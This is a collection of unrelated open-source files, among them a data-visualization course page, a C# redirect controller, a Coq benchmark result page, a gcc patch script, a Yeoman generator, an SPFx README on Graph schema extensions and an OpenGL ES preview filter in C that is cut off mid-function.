<div class="credits"><a href="http://vcg.github.io/upset/">UpSet visualizing intersecting sets</a> | <a href="http://hint.fm/wind/">Wind map</a> | <a href="http://www.nytimes.com/interactive/2012/10/15/us/politics/swing-history.html?_r=0">How states have shifted</a></div>
<p>The amount and complexity of information produced in science, engineering, business, and everyday human activity is increasing at staggering rates. The goal of this course is to expose you to visual representation methods and techniques that increase the understanding of complex data. Good visualizations not only present a visual interpretation of data, but do so by improving comprehension, communication, and decision making.</p>
<p>In this course you will learn about the fundamentals of perception, the theory of visualization, good design practices for visualization, and how to develop your own web-based visualizations using HTML5, CSS, JavaScript, SVG, and <a href="http://d3js.org/">D3</a>.</p>
<p>The course begins by bootstrapping your web development skills, moves on to fundamentals of perception, introduces data types you will encounter, and then focuses on visualization techniques and methods for a broad range of data types. An integral component of the course are regular design critiques and design studios that will hone your skills in understanding, critiquing and developing visualization techniques.</p>
<p>The course is offered in the fall term 2016 at the University of Utah in two variants: <a href="https://student.apps.utah.edu/uofu/stu/ClassSchedules/main/1168/sections.html?subj=CS&catno=5630">CS-5630</a> for undergraduates and <a href="https://student.apps.utah.edu/uofu/stu/ClassSchedules/main/1168/sections.html?subj=CS&catno=6630">CS-6630</a> for graduate students, with a special section of CS-6630 (002) designated for data certificate students. Classes start on Tuesday, August 23. All classes are streamed live and archived online.</p>
<h3 id="instructor">Instructor</h3>
<p><a href="http://alexander-lex.net">Alexander Lex</a>,<br />
<a href="mailto:alex@sci.utah.edu">alex@sci.utah.edu</a>,<br />
Phone: (801) 585-0327<br />
Office: WEB 3887</p>
<h3 id="guest-lecturer">Guest-Lecturer</h3>
<p><a href="http://www.cs.utah.edu/~knolla/">Aaron Knoll</a></p>
<h3 id="teaching-assistants">Teaching Assistants</h3>
<p><a href="http://sci.utah.edu/people/cnobre.html">Carolina Nobre</a>, PhD student, Visualization / Computer Science <br />
<a href="www.linkedin.com/in/vinithayask">Vinitha Yaski</a>, Master’s student, Computer Science<br />
<a href="http://www.cs.utah.edu/~ymishra/">Yogesh Mishra</a>, Master’s student, Computer Science</p>
<h3 id="logistics">Logistics</h3>
<p><strong>Lectures:</strong> Tuesday and Thursday 2:00-3:20 pm, <a href="https://goo.gl/maps/jXM3p">L101 WEB</a><br />
<strong>Live Video:</strong> <a href="https://www.youtube.com/channel/UCDUS80bdunpmvWVPyFRPqFQ/live">YouTube Channel</a><br />
<strong>Archived Video:</strong> <a href="https://www.youtube.com/playlist?list=PLbuogVdPnkCpQY3miQpTJtnHgCLze2lr0">YouTube Playlist</a><br />
<strong>Grades, Discussions:</strong> <a href="https://utah.instructure.com/courses/389965">Canvas</a></p>
<h4 id="office-hours">Office Hours</h4>
<p>For up to date office hours and cancellations, time or location changes please refer to your <a href="https://utah.instructure.com/calendar">Canvas Calendar</a>.</p>
<p>Alex: Thu, 3:30-4:30, WEB 3887<br />
Carolina: Thu, 3:30-5:30, MEB 3115 <br />
Vinitha: Thu, 11:00-1:00, MEB 3115<br />
Yogesh: Wed, 12:50-2:50, MEB 3115</p>
<h3 id="previous-versions-of-this-class">Previous Versions of this Class</h3>
<p>If you want to look ahead in the class (in particular regarding slides) you can browse last year’s page here:<br />
<a href="http://dataviscourse.net/2015/">Utah CS-5630/CS5660 2015</a></p>
<p>This class is based on two different courses:</p>
<p><strong>Harvard CS 171 2015</strong><br />
Instructor: Alexander Lex <br />
<a href="http://cs171.org/2015/">http://cs171.org/2015/</a><br />
<a href="http://cm.dce.harvard.edu/2015/02/24028/publicationListing.shtml">Video Archive</a></p>
<p><strong>Utah CS-5630/CS5660 2014</strong><br />
Instructor: Miriah Meyer <br />
<a href="http://www.sci.utah.edu/~miriah/cs6630/">http://www.sci.utah.edu/~miriah/cs6630/</a></p>
</article>
</div>
</div>
</div>
<footer class="site-footer">
<div class="wrap">
<h2 class="footer-heading">Visualization</h2>
<div class="footer-col-1 column">
<ul>
<li>
<a href="https://utah.instructure.com/courses/389965">Canvas</a>
</li>
<li><a href="mailto:alex@sci.utah.edu">alex@sci.utah.edu</a></li>
</ul>
</div>
<div class="footer-col-2 column">
<ul>
<li>
<a href="https://github.com/dataviscourse">
<span class="icon github">
<svg version="1.1" class="github-icon-svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
viewBox="0 0 16 16" enable-background="new 0 0 16 16" xml:space="preserve">
<path fill-rule="evenodd" clip-rule="evenodd" fill="#C2C2C2" d="M7.999,0.431c-4.285,0-7.76,3.474-7.76,7.761
c0,3.428,2.223,6.337,5.307,7.363c0.388,0.071,0.53-0.168,0.53-0.374c0-0.184-0.007-0.672-0.01-1.32
c-2.159,0.469-2.614-1.04-2.614-1.04c-0.353-0.896-0.862-1.135-0.862-1.135c-0.705-0.481,0.053-0.472,0.053-0.472
c0.779,0.055,1.189,0.8,1.189,0.8c0.692,1.186,1.816,0.843,2.258,0.645c0.071-0.502,0.271-0.843,0.493-1.037
C4.86,11.425,3.049,10.76,3.049,7.786c0-0.847,0.302-1.54,0.799-2.082C3.768,5.507,3.501,4.718,3.924,3.65
c0,0,0.652-0.209,2.134,0.796C6.677,4.273,7.34,4.187,8,4.184c0.659,0.003,1.323,0.089,1.943,0.261
c1.482-1.004,2.132-0.796,2.132-0.796c0.423,1.068,0.157,1.857,0.077,2.054c0.497,0.542,0.798,1.235,0.798,2.082
c0,2.981-1.814,3.637-3.543,3.829c0.279,0.24,0.527,0.713,0.527,1.437c0,1.037-0.01,1.874-0.01,2.129
c0,0.208,0.14,0.449,0.534,0.373c3.081-1.028,5.302-3.935,5.302-7.362C15.76,3.906,12.285,0.431,7.999,0.431z"/>
</svg>
</span>
<span class="username">dataviscourse</span>
</a>
</li>
<li>
<a href="https://twitter.com/alexander_lex">
<span class="icon twitter">
<svg version="1.1" class="twitter-icon-svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
viewBox="0 0 16 16" enable-background="new 0 0 16 16" xml:space="preserve">
<path fill="#C2C2C2" d="M15.969,3.058c-0.586,0.26-1.217,0.436-1.878,0.515c0.675-0.405,1.194-1.045,1.438-1.809
c-0.632,0.375-1.332,0.647-2.076,0.793c-0.596-0.636-1.446-1.033-2.387-1.033c-1.806,0-3.27,1.464-3.27,3.27
c0,0.256,0.029,0.506,0.085,0.745C5.163,5.404,2.753,4.102,1.14,2.124C0.859,2.607,0.698,3.168,0.698,3.767
c0,1.134,0.577,2.135,1.455,2.722C1.616,6.472,1.112,6.325,0.671,6.08c0,0.014,0,0.027,0,0.041c0,1.584,1.127,2.906,2.623,3.206
C3.02,9.402,2.731,9.442,2.433,9.442c-0.211,0-0.416-0.021-0.615-0.059c0.416,1.299,1.624,2.245,3.055,2.271
c-1.119,0.877-2.529,1.4-4.061,1.4c-0.264,0-0.524-0.015-0.78-0.046c1.447,0.928,3.166,1.469,5.013,1.469
c6.015,0,9.304-4.983,9.304-9.304c0-0.142-0.003-0.283-0.009-0.423C14.976,4.29,15.531,3.714,15.969,3.058z"/>
</svg>
</span>
<span class="username">alexander_lex</span>
</a>
</li>
</ul>
</div>
<div class="footer-col-3 column">
<p class="text">© The University of Utah, 2016</p>
</div>
</div>
</footer>
<!-- Google Analytics -->
<script>
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-65153996-1', 'auto');
ga('require', 'displayfeatures');
ga('send', 'pageview');
</script>
<!-- End Google Analytics -->
</body>
</html>
|
dataviscourse/dataviscourse.github.io
|
2016/index.html
|
HTML
|
mit
| 11,907
|
using System.Threading.Tasks;
using System.Web.Mvc;
using SFA.DAS.Authorization.Mvc.Attributes;
using SFA.DAS.EAS.Web.Extensions;
namespace SFA.DAS.EAS.Web.Controllers
{
[DasAuthorize]
[RoutePrefix("accounts")]
public class SearchOrganisationController : Controller
{
[HttpGet]
[Route("{HashedAccountId}/organisations/search", Order = 0)]
[Route("organisations/search", Order = 1)]
public ActionResult SearchForOrganisation()
{
return Redirect(Url.EmployerAccountsAction("organisations/search"));
}
[Route("{HashedAccountId}/organisations/search/results", Order = 0)]
[Route("organisations/search/results", Order = 1)]
public async Task<ActionResult> SearchForOrganisationResults()
{
var paramString = Request?.Url?.Query == null ? string.Empty : $"?{Request.Url.Query}";
return Redirect(Url.EmployerAccountsAction($"organisations/search/results{paramString}"));
}
}
}
|
SkillsFundingAgency/das-employerapprenticeshipsservice
|
src/SFA.DAS.EAS.Web/Controllers/SearchOrganisationController.cs
|
C#
|
mit
| 1,026
|
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>itauto: Not compatible 👼</title>
<link rel="shortcut icon" type="image/png" href="../../../../../favicon.png" />
<link href="../../../../../bootstrap.min.css" rel="stylesheet">
<link href="../../../../../bootstrap-custom.css" rel="stylesheet">
<link href="//maxcdn.bootstrapcdn.com/font-awesome/4.2.0/css/font-awesome.min.css" rel="stylesheet">
<script src="../../../../../moment.min.js"></script>
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
<![endif]-->
</head>
<body>
<div class="container">
<div class="navbar navbar-default" role="navigation">
<div class="container-fluid">
<div class="navbar-header">
<a class="navbar-brand" href="../../../../.."><i class="fa fa-lg fa-flag-checkered"></i> Coq bench</a>
</div>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<li><a href="../..">clean / released</a></li>
<li class="active"><a href="">8.8.0 / itauto - 8.13</a></li>
</ul>
</div>
</div>
</div>
<div class="article">
<div class="row">
<div class="col-md-12">
<a href="../..">« Up</a>
<h1>
itauto
<small>
8.13
<span class="label label-info">Not compatible 👼</span>
</small>
</h1>
<p>📅 <em><script>document.write(moment("2021-11-30 23:51:15 +0000", "YYYY-MM-DD HH:mm:ss Z").fromNow());</script> (2021-11-30 23:51:15 UTC)</em><p>
<h2>Context</h2>
<pre># Packages matching: installed
# Name # Installed # Synopsis
base-bigarray base
base-num base Num library distributed with the OCaml compiler
base-ocamlbuild base OCamlbuild binary and libraries distributed with the OCaml compiler
base-threads base
base-unix base
camlp5 7.14 Preprocessor-pretty-printer of OCaml
conf-findutils 1 Virtual package relying on findutils
conf-perl 1 Virtual package relying on perl
coq 8.8.0 Formal proof management system
num 0 The Num library for arbitrary-precision integer and rational arithmetic
ocaml 4.02.3 The OCaml compiler (virtual package)
ocaml-base-compiler 4.02.3 Official 4.02.3 release
ocaml-config 1 OCaml Switch Configuration
ocamlfind 1.9.1 A library manager for OCaml
# opam file:
opam-version: "2.0"
maintainer: "frederic.besson@inria.fr"
homepage: "https://gitlab.inria.fr/fbesson/itauto"
dev-repo: "git+https://gitlab.inria.fr/fbesson/itauto.git"
authors: ["Frédéric Besson"]
bug-reports: "frederic.besson@inria.fr"
license: "GPL 3"
synopsis: "'itauto' is a reflexive SAT solver parameterised by a leaf tactic"
build: [
[make]
]
install: [
[make "install"]
]
depends: [
"ocaml" {>= "4.9~"}
"coq" {>= "8.13.~" & < "8.14~"}
"ocamlbuild" {build }
]
depopts: [ "ocamlformat" {build} ]
url {
src: "https://gitlab.inria.fr/fbesson/itauto/-/archive/8.13/itauto-8.13.tar.gz"
checksum: "sha256=971ac9da9ff16ba83ad0236a5206ce0b8617e62c026340441fea0f4f80b79ded"
}
tags: [
"keyword:integers" "keyword:SAT" "keyword:SMT" "keyword:automation"
"logpath:Cdcl"
]
</pre>
<h2>Lint</h2>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>true</code></dd>
<dt>Return code</dt>
<dd>0</dd>
</dl>
<h2>Dry install 🏜️</h2>
<p>Dry install with the current Coq version:</p>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>opam install -y --show-action coq-itauto.8.13 coq.8.8.0</code></dd>
<dt>Return code</dt>
<dd>5120</dd>
<dt>Output</dt>
<dd><pre>[NOTE] Package coq is already installed (current version is 8.8.0).
The following dependencies couldn't be met:
- coq-itauto -> ocaml >= 4.9~
base of this switch (use `--unlock-base' to force)
No solution found, exiting
</pre></dd>
</dl>
<p>Dry install without Coq/switch base, to test if the problem was incompatibility with the current Coq/OCaml version:</p>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>opam remove -y coq; opam install -y --show-action --unlock-base coq-itauto.8.13</code></dd>
<dt>Return code</dt>
<dd>0</dd>
</dl>
<h2>Install dependencies</h2>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>true</code></dd>
<dt>Return code</dt>
<dd>0</dd>
<dt>Duration</dt>
<dd>0 s</dd>
</dl>
<h2>Install 🚀</h2>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>true</code></dd>
<dt>Return code</dt>
<dd>0</dd>
<dt>Duration</dt>
<dd>0 s</dd>
</dl>
<h2>Installation size</h2>
<p>No files were installed.</p>
<h2>Uninstall 🧹</h2>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>true</code></dd>
<dt>Return code</dt>
<dd>0</dd>
<dt>Missing removes</dt>
<dd>
none
</dd>
<dt>Wrong removes</dt>
<dd>
none
</dd>
</dl>
</div>
</div>
</div>
<hr/>
<div class="footer">
<p class="text-center">
Sources are on <a href="https://github.com/coq-bench">GitHub</a> © Guillaume Claret 🐣
</p>
</div>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
<script src="../../../../../bootstrap.min.js"></script>
</body>
</html>
|
coq-bench/coq-bench.github.io
|
clean/Linux-x86_64-4.02.3-2.0.6/released/8.8.0/itauto/8.13.html
|
HTML
|
mit
| 6,860
|
#!/bin/sh
VERSION=5.3.0
tar --files-from=file.list -xjvf ../gcc-$VERSION.tar.bz2
mv gcc-$VERSION gcc-$VERSION-orig
cp -rf ./gcc-$VERSION-new ./gcc-$VERSION
diff -b --unified -Nr gcc-$VERSION-orig gcc-$VERSION > gcc-$VERSION-a2x-newlib.patch
mv gcc-$VERSION-a2x-newlib.patch ../../patches
rm -rf ./gcc-$VERSION
rm -rf ./gcc-$VERSION-orig
|
radix-platform/toolchains
|
sources/GNU/gcc/gcc-5.3.0/create-5.3.0-a2x-newlib-patch/create.patch.sh
|
Shell
|
mit
| 345
|
'use strict';
var util = require('util');
var path = require('path');
var fs = require('fs');
var yeoman = require('yeoman-generator');
var MixdownGenerator = module.exports = function MixdownGenerator(args, options, config) {
yeoman.generators.Base.apply(this, arguments);
this.on('end', function () {
this.installDependencies({ skipInstall: options['skip-install'] });
});
};
util.inherits(MixdownGenerator, yeoman.generators.Base);
MixdownGenerator.prototype.askFor = function askFor() {
var cb = this.async();
// have Yeoman greet the user.
console.log(this.yeoman);
var prompts = [];
prompts.push({
name: 'packageName',
message: 'What would you like to name this app?',
default: this._.last(process.cwd().split(path.sep))
});
prompts.push({
name: 'serviceNames',
message: 'Services (comma separated). Ex: service1, service2',
default: 'service1'
});
if(prompts.length !== 0) {
this.prompt(prompts, function (props) {
this.packageName = props.packageName ? props.packageName.replace(/\s/g, '-') : null;
this.packageDescription = props.packageDescription;
this.serviceNames = props.serviceNames;
cb();
}.bind(this));
}
else {
cb();
}
};
MixdownGenerator.prototype.app = function app() {
var packageJSON = require(path.join(__dirname, '../app/templates/_package.json'));
var oldPackageJSON = fs.existsSync(path.join(process.cwd(),'/package.json'))
? require(path.join(process.cwd(),'/package.json'))
: {};
packageJSON.name = this.packageName;
packageJSON.description = this.packageDescription;
this._.defaults(packageJSON.dependencies, oldPackageJSON.dependencies);
this._.defaults(packageJSON.devDependencies, oldPackageJSON.devDependencies);
this._.defaults(packageJSON.scripts, oldPackageJSON.scripts);
// write package.json
this.write('package.json', JSON.stringify(packageJSON, null, 2));
this.mkdir('./services');
var services = this.serviceNames ? this.serviceNames.split(',') : [];
var serviceJsonTemplate = require(path.join(__dirname, '../app/templates/' + './services/' + 'service.json'));
var self = this;
services.forEach(function(s) {
var serviceJson = self._.cloneDeep(serviceJsonTemplate);
s = self._.dasherize(s);
serviceJson.id = s;
self.write('./services/' + s + '.json', JSON.stringify(serviceJson, null, 2));
});
this.copy('index.js', 'index.js');
this.copy('delegate.js', 'delegate.js');
this.copy('README.md', 'README.md');
this.mkdir('plugins');
this.directory('plugins', 'plugins');
var mixdown = require(__dirname + "/templates/mixdown.json");
mixdown.logger.name = this.packageName;
this.write('mixdown.json',JSON.stringify(mixdown,null,2));
// copy gitignore if it doesn't exisit
var pathGitIgnore = path.join(process.cwd(),'/.gitignore');
var gitignore = fs.existsSync(pathGitIgnore) ? fs.readFileSync(pathGitIgnore) : '';
gitignore += '\n' + fs.readFileSync(path.join(__dirname, '../app/templates/_gitignore'));
this.write('.gitignore', gitignore);
};
MixdownGenerator.prototype.projectfiles = function projectfiles() {
this.copy('editorconfig', '.editorconfig');
this.copy('jshintrc', '.jshintrc');
};
|
mixdown/generator-mixdown-cli
|
app/index.js
|
JavaScript
|
mit
| 3,283
|
---
layout: page
title: Conner Family Reunion
date: 2016-05-24
author: Jose Gray
tags: weekly links, java
status: published
summary: Nullam ac ullamcorper justo. Fusce tristique.
banner: images/banner/office-01.jpg
booking:
startDate: 09/17/2018
endDate: 09/22/2018
ctyhocn: GYYMRHX
groupCode: CFR
published: true
---
Nam quis turpis dictum, suscipit dui et, tempor erat. Morbi convallis bibendum fringilla. Cras tincidunt diam eget dolor molestie pharetra. Mauris pretium consequat dictum. Etiam congue turpis dui, vitae convallis nisi aliquet sed. Vestibulum malesuada, elit in rhoncus interdum, dui diam varius erat, in consectetur lorem nulla non ligula. Maecenas in hendrerit urna. Aenean rhoncus ante vel dui tincidunt, nec laoreet turpis maximus. Sed tincidunt mollis elit ut volutpat. Nunc at purus dignissim, facilisis quam nec, efficitur ligula.
Proin vestibulum nibh sapien, vestibulum malesuada metus egestas nec. In vestibulum erat a nisl suscipit, tempus facilisis neque consectetur. Suspendisse efficitur nisl justo, id accumsan nunc sagittis id. Nam eu risus sodales, tincidunt lacus quis, condimentum magna. Suspendisse potenti. Nunc ac quam mi. Nullam semper non odio in placerat. Curabitur at dolor at metus lobortis malesuada ac sit amet quam. Vestibulum blandit nulla odio, id porta ligula commodo ut. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas.
* Ut sed nibh at risus lacinia lacinia sit amet non nulla
* Nulla imperdiet quam at tellus fringilla efficitur.
Nam viverra lorem quis consequat dignissim. Praesent libero turpis, scelerisque ac sollicitudin vel, porttitor vel arcu. Etiam bibendum posuere blandit. Nulla facilisi. Aliquam sagittis urna id sodales tristique. Sed sagittis et sem at vehicula. Nunc rhoncus mi ligula, id rhoncus lacus finibus faucibus. Mauris porttitor dictum sapien quis cursus. Duis eu justo id tortor pellentesque dictum id id mi. Sed finibus tincidunt rhoncus. Donec sed felis tempus felis aliquet aliquam. Cras lacinia mi vel libero semper vestibulum. Aliquam varius dignissim diam, in congue lacus placerat ut. Nulla sem odio, hendrerit eu commodo in, suscipit vitae libero. Morbi luctus dolor quam, ac dignissim lacus tincidunt ultrices. Aliquam scelerisque velit feugiat, efficitur orci et, sodales leo.
|
KlishGroup/prose-pogs
|
pogs/G/GYYMRHX/CFR/index.md
|
Markdown
|
mit
| 2,320
|
## Rotate-Function
## 说明
给一个数组`A`,长度是`n`
定义旋转函数`F`
```js
F(k) = 0 * Bk[0] + 1 * Bk[1] + ... + (n-1) * Bk[n-1]
```
计算`F(0), F(1), ..., F(n-1)`中的最大值
其中`Bk`是通过顺时针旋转`k`位得到的数组
- `n`小于`10^5`
例如
```js
A = [4, 3, 2, 6]
F(0) = (0 * 4) + (1 * 3) + (2 * 2) + (3 * 6) = 0 + 3 + 4 + 18 = 25
F(1) = (0 * 6) + (1 * 4) + (2 * 3) + (3 * 2) = 0 + 4 + 6 + 6 = 16
F(2) = (0 * 2) + (1 * 6) + (2 * 4) + (3 * 3) = 0 + 6 + 8 + 9 = 23
F(3) = (0 * 3) + (1 * 2) + (2 * 6) + (3 * 4) = 0 + 2 + 12 + 12 = 26
So the maximum value of F(0), F(1), F(2), F(3) is F(3) = 26.
```
### 思路
找规律
```js
F(i) = F(i-1) + sum - n*A[n-i]
```
http://www.cnblogs.com/grandyang/p/5869791.html
|
dailc/leetcode
|
algorithms/396-Rotate-Function/README.md
|
Markdown
|
mit
| 792
|
// variants of simple loop construct
class SimpleLoop {
void forLoop1(int m){
for(int i = 0; i < m; ++i);
}
void forLoop2(int m){
for(int i = m; i >= 0; --i);
}
void whileLoop(int m){
int i = 0;
while(i < m) i++;
}
void doWhileLoop(int m){
int i = m;
do
--i;
while(i >= 0);
}
}
|
ComputationWithBoundedResources/grumpy
|
examples/SimpleLoop.java
|
Java
|
mit
| 311
|
<h2>{{main.pageData.pageTitle}}</h2>
<p>{{main.pageData.bodyText}}</p>
<section class="all-amenities">
<section class="amenity-box" ng-repeat="amenity in main.pageData.extras">
<h4>{{amenity.heading}}</h4>
<p ng-if="amenity.description">{{amenity.description}}</p>
<ul>
<li ng-repeat="feature in amenity.features">{{feature}}</li>
</ul>
</section>
</section>
|
mir4ef/base
|
public/app/home/AmenitiesView.html
|
HTML
|
mit
| 410
|
# Spfx Webpart read / update MS Graph Custom Schema Extensions
## Summary
This sample shows how read and update a custom Schema extension in MS Graph. It shows how to create a
custom Schema extension in Graph to store custom data related to an Office 365 Group, and how we can read and update
that data using an spfx webpart.
A possible business scenario here could be if we want to store some additional custom data related to some specific
Office 365 Groups, for instance Sales information, and make it available in the SharePoint site.

## Used SharePoint Framework Version

## Applies to
* [SharePoint Framework Developer](http://dev.office.com/sharepoint/docs/spfx/sharepoint-framework-overview)
* [Office 365 developer tenant](http://dev.office.com/sharepoint/docs/spfx/set-up-your-developer-tenant)
## Solution
Solution|Author(s)
--------|---------
react-graph-schema-extensions|Luis Mañez (MVP, [ClearPeople](http://www.clearpeople.com), @luismanez)
## Version history
Version|Date|Comments
-------|----|--------
1.0.0|Jul 03, 2018|Initial release
## Disclaimer
**THIS CODE IS PROVIDED *AS IS* WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING ANY IMPLIED WARRANTIES OF FITNESS FOR A PARTICULAR PURPOSE, MERCHANTABILITY, OR NON-INFRINGEMENT.**
---
## Prerequisites
* Create a custom extenion for Groups using Graph API: Currently, spfx has no permissions to create custom extensions
for entities in Graph API. To create the custom extension, you can use the [MS Graph Explorer website](https://developer.microsoft.com/en-us/graph/graph-explorer).
To create the extension you must do a POST request to:
```js
POST https://graph.microsoft.com/v1.0/schemaExtensions
content-type: application/json
{
"id": "inheritscloud_SalesCustomData",
"description": "Adding custom data to Groups created for sales",
"owner": "ac638f16-63c2-462b-95a4-16f8a60b0628",
"targetTypes": [
"Group"
],
"properties": [
{
"name": "businessUnit", "type": "String"
},
{
"name": "estimatedBudget", "type": "Integer"
},
{
"name": "expectedClosedDate", "type": "DateTime"
}
]
}
```
See here for more information about the attributes: [https://developer.microsoft.com/en-us/graph/docs/api-reference/beta/resources/schemaextension](https://developer.microsoft.com/en-us/graph/docs/api-reference/beta/resources/schemaextension)
__Note__:
* For the _id_ attribute, You can assign a value in one of two ways:
* Concatenate the name of one of your verified domains with a name for the schema extension to form a unique string in this format, {domainName}_{schemaName}. As an example, contoso_mySchema.
* Provide a schema name, and let Microsoft Graph use that schema name to complete the id assignment in this format: ext{8-random-alphanumeric-chars}_{schema-name}. An example would be extkvbmkofy_mySchema.
* The _owner_ attribute must be a valid ClientId registered in Azure AD
* The _targetTypes_ is an array with the different Entities that you want to extend (users, groups, event, message). However, spfx only allows to update Groups, so the value is set to _group_
## Minimal Path to Awesome
* clone repo
* edit _GraphSchemaExtenion.tsx_ file and change line 141 with the _id_ "inheritscloud_SalesCustomData" assigned when you created the custom Schema extension
* run _gulp serve_
## Features
This sample shows how read and update a custom Schema extension in MS Graph.
This sample illustrates the following concepts on top of the SharePoint Framework:
* How to create a custom schema extension in Graph API using Graph Explorer tool
* Using GraphHttpClient to get data from MS Graph API
* How to update an MS Graph entity (in this case, Office 365 Group) with custom data
* Using async / await for the async calls
* Office UI fabric components
|
vman/sp-dev-fx-webparts
|
samples/react-graph-schema-extensions/README.md
|
Markdown
|
mit
| 4,016
|
{% if site.optimizely_experiment != 0000000000 %}
<script src="//cdn.optimizely.com/js/{{site.optimizely_experiment}}.js"></script>
{% endif %}
|
tddapps/blog
|
_includes/head-optimizely.html
|
HTML
|
mit
| 147
|
String text = "First Line\n" +
"Second Line\n" +
"Third Line";
|
leomindez/From-Java-To-Ceylon
|
code/java/basic/strings-ii.java
|
Java
|
mit
| 91
|
-- utf16align.test
--
-- execsql {
-- CREATE INDEX t1i1 ON t1(spacer, b);
-- }
CREATE INDEX t1i1 ON t1(spacer, b);
|
bkiers/sqlite-parser
|
src/test/resources/utf16align.test_2.sql
|
SQL
|
mit
| 119
|
//
// Created by showtime on 9/10/2017.
//
#include "ogles_preview_filter.h"
#include "../../utils/ogles_util.h"
#include "../../geometry/primitive.h"
#include <malloc.h>
#define LINE(s) s "\n"
static const char *vertex_shader_source =
LINE("uniform mat4 uMVPMatrix;")
LINE("uniform mat4 uSTMatrix;")
LINE("uniform float uAspect;")
LINE("attribute vec4 aPosition;")
LINE("attribute vec4 aTextureCoord;")
LINE("varying highp vec2 vTextureCoord;")
LINE("void main() {")
LINE("vec4 scaledPosition = aPosition;")
LINE("scaledPosition.x = scaledPosition.x * uAspect;")
LINE("gl_Position = uMVPMatrix * scaledPosition;")
LINE("vTextureCoord = (uSTMatrix * aTextureCoord).xy;")
LINE("}");
static const char *fragment_shader_source =
LINE("#extension GL_OES_EGL_image_external : require")
LINE("precision mediump float;")
LINE("varying highp vec2 vTextureCoord;")
LINE("uniform lowp samplerExternalOES uTexture;")
LINE("void main() {")
LINE("gl_FragColor = texture2D(uTexture, vTextureCoord);")
LINE("}");
#undef LINE
ogles_filter_init(preview)
(struct ogles_preview_filter *filter, primitive_type primitive_type, bool create_fbo, GLuint texture)
{
ogles_preview_filter_safe_release(filter);
filter->base.vertex_shader = loadShader(GL_VERTEX_SHADER, vertex_shader_source);
filter->base.fragment_shader = loadShader(GL_FRAGMENT_SHADER, fragment_shader_source);
filter->base.program = createProgram(filter->base.vertex_shader, filter->base.fragment_shader);
filter->base.primitive = create_primitive(primitive_type);
filter->base.fbo = create_fbo ? malloc(sizeof(struct ogles_fbo)) : NULL;
filter->target = GL_TEXTURE_EXTERNAL_OES;
glBindTexture(filter->target, texture);
initSampler(filter->target, GL_LINEAR, GL_NEAREST);
ogles_preview_filter_register_handle(filter);
}
ogles_filter_release(preview)
(struct ogles_preview_filter *filter)
{
glDeleteProgram(filter->base.program);
glDeleteShader(filter->base.vertex_shader);
glDeleteShader(filter->base.fragment_shader);
ogles_preview_filter_safe_release(filter);
}
ogles_filter_safe_release(preview)
(struct ogles_preview_filter *filter)
{
filter->base.program = 0;
filter->base.vertex_shader = 0;
filter->base.fragment_shader = 0;
safe_free_primitive(filter->base.primitive);
ogles_fbo_safe_release(filter->base.fbo);
}
ogles_filter_resize(preview)
(struct ogles_preview_filter *filter, GLint width, GLint height)
{
ogles_fbo_resize(filter->base.fbo, width, height);
}
ogles_filter_pre_draw(preview)
(struct ogles_preview_filter *filter, struct ogles_eye *ogles_eye)
{
ogles_eye_apply_viewport(ogles_eye);
ogles_fbo_enable(filter->base.fbo);
if (filter->base.primitive != NULL)
{
(*filter->base.primitive->update)(filter->base.primitive);
}
}
ogles_filter_draw(preview)
(struct ogles_preview_filter *filter, GLuint *texture, const float st_mat[], struct ogles_eye *ogles_eye)
{
ogles_preview_filter_use_program(filter);
ogles_preview_filter_pre_draw(filter, ogles_eye);
glUniformMatrix4fv(filter->uniforms.uMVPMatrix.location, 1, GL_FALSE, (const float*)&ogles_eye->camera.mvp_mat);
glUniformMatrix4fv(filter->uniforms.uSTMatrix.location, 1, GL_FALSE, st_mat);
glUniform1f(filter->uniforms.uAspect.location, ogles_eye->camera.aspect);
glBindBuffer(GL_ARRAY_BUFFER, filter->base.primitive->vbo_vertices);
glEnableVertexAttribArray((GLuint)filter->attributes.aPosition.location);
glVertexAttribPointer((GLuint)filter->attributes.aPosition.location, VERTICES_DATA_POSITION_SIZE_3, GL_FLOAT, GL_FALSE, 0, 0);
glBindBuffer(GL_ARRAY_BUFFER, filter->base.primitive->vbo_uvs);
glEnableVertexAttribArray((GLuint)filter->attributes.aTextureCoord.location);
glVertexAttribPointer((GLuint)filter->attributes.aTextureCoord.location, VERTICES_DATA_UV_SIZE, GL_FLOAT, GL_FALSE, 0, 0);
glActiveTexture(GL_TEXTURE0);
glBindTexture(filter->target, *texture);
glUniform1i(filter->uniforms.uTexture.location, 0);
glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, filter->base.primitive->vbo_indices);
glDrawElements(GL_TRIANGLES, filter->base.primitive->elements_count, GL_UNSIGNED_INT, 0);
glDisableVertexAttribArray((GLuint)filter->attributes.aPosition.location);
glDisableVertexAttribArray((GLuint)filter->attributes.aTextureCoord.location);
glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, 0);
glBindBuffer(GL_ARRAY_BUFFER, 0);
glBindTexture(GL_TEXTURE_2D, 0);
ogles_preview_filter_post_draw(filter, texture, ogles_eye);
}
ogles_filter_post_draw(preview)
